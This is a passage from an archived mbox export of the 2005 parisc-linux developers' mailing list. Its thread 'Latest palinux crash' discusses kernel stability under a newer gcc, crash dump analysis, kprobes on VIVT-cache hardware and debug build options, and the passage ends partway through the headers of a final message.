List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QpmtYncreSEkSr6WZHQhaXN1IGRvbwC5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25165



Grant Grundler wrote:
> On Thu, Jul 21, 2005 at 11:34:22AM +0000, Joel Soete wrote:
> 
>>This kernel seems to be very more stable (passed with success some stress 
>>test of mine during severall days when it would crash in few ours or less 
>>when compile with gcc-3.3).
> 
> 
> Joel,
> This is good news. Thanks for trying this out.
> 
> 
>>...
>>but pressing TOC button launched well a panic, and unfortunately pim 
>>analisys didn't help at all :-?
>>(fyi: 
>><http://lists.parisc-linux.org/pipermail/parisc-linux/2005-July/026855.html>)
> 
> 
> In 026855.html you wrote you didn't save the System.map.
> 
Yes my script analysis is based on the famous dump_analyser.sh so still grab the label into System.map
but insn match well the address ;-) (today I learn more about addr2line and thought that it would help to get rid of this pb :-)

> 
>>So am I also looking for way to help: lkcd? instrumenting the kernel like 
>>kprobes/dprobes? (but not yet hppa support)
> 
> 
> kprobes will need more support for runtime patching of the code.
> It's not trivial to do that given the VIVT caches on parisc.
(Sorry: VIVT?)

> It's certainly possible though since I know HPUX does that.
> But it also means changing the kernel text to RW or using
> absolute stores/icache flushing to modified the kernel instructions.
> 
well so not sure that kprobe was already for p-l but I find this paper
<http://www-128.ibm.com/developerworks/linux/library/l-graphvis/> on gcc fnct instrumentation very attractive
and looking for something like this for the kernel: in paper the link to kprobes is dead but resent me to dprobes on sf.net?

> 
> 
>>Unfortunately, I definetily don't have deep enough knowledge of linux 
>>kernel to help more, sorry.
> 
> 
> I only know enough to be dangerous to be people who know less. :^)
> 
> grant
> 
Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 18:43:43 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200507212243.j6LMhhtD010420@hiauly1.hia.nrc.ca>
References: <42DFFE66.3030405@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624554 26966 80.91.229.3 (22 Nov 2014 02:49:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:14 +0000 (UTC)
Cc: carlos@systemhalted.org,
 parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 22:44:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 22 Jul 2005 00:44:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B6737D6D1;
	Thu, 21 Jul 2005 16:44:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12216-08; Thu, 21 Jul 2005 16:44:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02FF57D6D5;
	Thu, 21 Jul 2005 16:44:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6D937D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 16:43:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12216-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 16:43:47 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 567FC7D676
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 16:43:47 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D8E45666282; Thu, 21 Jul 2005 16:43:46 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 71577494066;
	Thu, 21 Jul 2005 16:43:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6LMhinV010421; Thu, 21 Jul 2005 18:43:44 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6LMhhtD010420;
	Thu, 21 Jul 2005 18:43:43 -0400 (EDT)
In-Reply-To: <42DFFE66.3030405@tiscali.be> from "Joel Soete" at Jul 21,
	2005 07:58:30 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Y0CSYtofeSEkYL6WZHQhaXN1IGRvb8BQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25166

> just a small note, iirc Bruno's patch also used -ggdb compile option which grow dramaticaly the kernel size.
> But may be not not absolutely necessary?

The option adds debug symbols but they all should be in no-load sections
(i.e., the option shouldn't change the code and data sections at all).
If you are going to use gdb to debug the kernel, I recommend building
with -O1 instead of -O2.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 21:14:55 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20050722031455.GA29339@colo.lackof.org>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
	<20050721043626.GY30182@systemhalted.org>
	<42DF883E.1020607@tiscali.be>
	<20050721124713.GB27330@colo.lackof.org>
	<42DFFC07.5080607@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624555 26967 80.91.229.3 (22 Nov 2014 02:49:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:15 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2005 03:10:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 22 Jul 2005 05:10:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85C4F7D6E1;
	Thu, 21 Jul 2005 21:10:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13966-04; Thu, 21 Jul 2005 21:10:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8BF47D6E2;
	Thu, 21 Jul 2005 21:10:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A3F37D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 21:10:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13721-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 21:10:18 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DE0ED7D6DA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 21:10:18 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5999F494F87; Thu, 21 Jul 2005 21:10:13 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id E2638494066;
	Thu, 21 Jul 2005 21:10:09 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 320A0360064;
	Thu, 21 Jul 2005 21:14:57 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30063-01; Thu, 21 Jul 2005 21:14:55 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CE016360055; Thu, 21 Jul 2005 21:14:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42DFFC07.5080607@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9AaSYm4xeSEkO76WZHQhaXN1IGRvb4AY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25167

On Thu, Jul 21, 2005 at 07:48:23PM +0000, Joel Soete wrote:
> >kprobes will need more support for runtime patching of the code.
> >It's not trivial to do that given the VIVT caches on parisc.
> (Sorry: VIVT?)

Virtually Indexed, Virtually Tagged

grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 19:58:30 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <42DFFE66.3030405@tiscali.be>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>	<20050721043626.GY30182@systemhalted.org>
	<20050721123045.GA27330@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624555 26970 80.91.229.3 (22 Nov 2014 02:49:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:15 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 19:58:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 21 Jul 2005 21:58:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56C2B7D6EA;
	Thu, 21 Jul 2005 13:58:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11841-06; Thu, 21 Jul 2005 13:58:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B5CA7D6D0;
	Thu, 21 Jul 2005 13:58:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 61E9F7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 13:58:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11841-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 13:58:34 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E56937D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 13:58:34 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6959349418B; Thu, 21 Jul 2005 13:58:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by palinux.hppa (Postfix) with ESMTP id 8314B494066;
	Thu, 21 Jul 2005 13:58:33 -0600 (MDT)
Original-Received: from (ip-213-49-106-177.dsl.scarlet.be [213.49.106.177]) 
	by xizor.is.scarlet.be  with ESMTP id j6LJwUK26653; 
	Thu, 21 Jul 2005 21:58:31 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050721123045.GA27330@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I5utYkBHeSEkTr6WZHQhaXN1IGRvb8A4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25168



Grant Grundler wrote:
> On Thu, Jul 21, 2005 at 12:36:27AM -0400, Carlos O'Donell wrote:
> 
[...]
> 
> I would.
> In fact, I'd change all the default config files to include it.
> 
Grant,

just a small note, iirc Bruno's patch also used -ggdb compile option which grow dramaticaly the kernel size.
But may be not not absolutely necessary?

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Fri, 22 Jul 2005 13:35:25 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <42E0F61D.5030001@tiscali.be>
References: <200507212243.j6LMhhtD010420@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624555 26973 80.91.229.3 (22 Nov 2014 02:49:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:15 +0000 (UTC)
Cc: carlos@systemhalted.org,
 parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2005 13:35:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 22 Jul 2005 15:35:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03B767D71C;
	Fri, 22 Jul 2005 07:35:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18208-07; Fri, 22 Jul 2005 07:35:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C95AA7D70D;
	Fri, 22 Jul 2005 07:35:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 817DE7D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 07:35:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18208-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 07:35:32 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 10F2D7D681
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 07:35:32 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A34C1666284; Fri, 22 Jul 2005 07:35:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by palinux.hppa (Postfix) with ESMTP id C13D2494066;
	Fri, 22 Jul 2005 07:35:30 -0600 (MDT)
Original-Received: from (ip-213-49-170-72.dsl.scarlet.be [213.49.170.72]) 
	by guri.is.scarlet.be  with ESMTP id j6MDZQU13883; 
	Fri, 22 Jul 2005 15:35:26 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <200507212243.j6LMhhtD010420@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: epOSYm4GeSEker6WZHQhaXN1IGRvb8B4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25169



John David Anglin wrote:
>>just a small note, iirc Bruno's patch also used -ggdb compile option which grow dramaticaly the kernel size.
>>But may be not not absolutely necessary?
> 
> 
> The option adds debug symbols but they all should be in no-load sections
> (i.e., the option shouldn't change the code and data sections at all).
cool ;-)

> If you are going to use gdb to debug the kernel,
I though that was the goal: grab a coredump to trace it back?
(but I could never experiment it because of it's so big size: iirc about 60Mb for the 2.4 and this time my dump (swap) area was too 
small to host the coredump image, now it could be just large enough ;)

> I recommend building
> with -O1 instead of -O2.
> 
mmm could it not be too much invasive?
I mean we are going to change completely the insn flow and btw the time diagram as I experiment:
some weeks ago, I was working on ccio-dma for 64bit kernel on a d380 on which I noticed a dramtic slow down of the boot (more then 
an hour in place of 5 min for its 32bit twin).
I would so first check the reserved IO addresses by some printk but there are so much that I could never get a login prompt (even 
after a long night)?
I so tried to get the only 100 first ones but the kernel still slow down at the same place.
So I so tried to grab the next 200 ones: by miracle it boot near normaly (just slow down by some printk?
(I so presume that there is some race case in this driver, the computed IO adresses wouldn't have to change because I asked to print 
it?)
But I changed the time diagram and btw the kernel behaviour, though?

May be in a second stage, when we would have located the hang place with -O2?

Thanks,
	Joel

PS: I will check that when I will be back from holidays in 15 days ;-)


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Tue, 26 Jul 2005 12:37:04 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <200507261637.j6QGb4vs008289@hiauly1.hia.nrc.ca>
References: <42E0F61D.5030001@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624555 26976 80.91.229.3 (22 Nov 2014 02:49:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:15 +0000 (UTC)
Cc: carlos@systemhalted.org,
 parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 16:37:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 26 Jul 2005 18:37:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 942387D758;
	Tue, 26 Jul 2005 10:37:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24803-08; Tue, 26 Jul 2005 10:37:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F1AC7D75A;
	Tue, 26 Jul 2005 10:37:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 942667D756
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 10:37:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24734-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 10:37:08 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 212E37D731
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 10:37:08 -0600 (MDT)
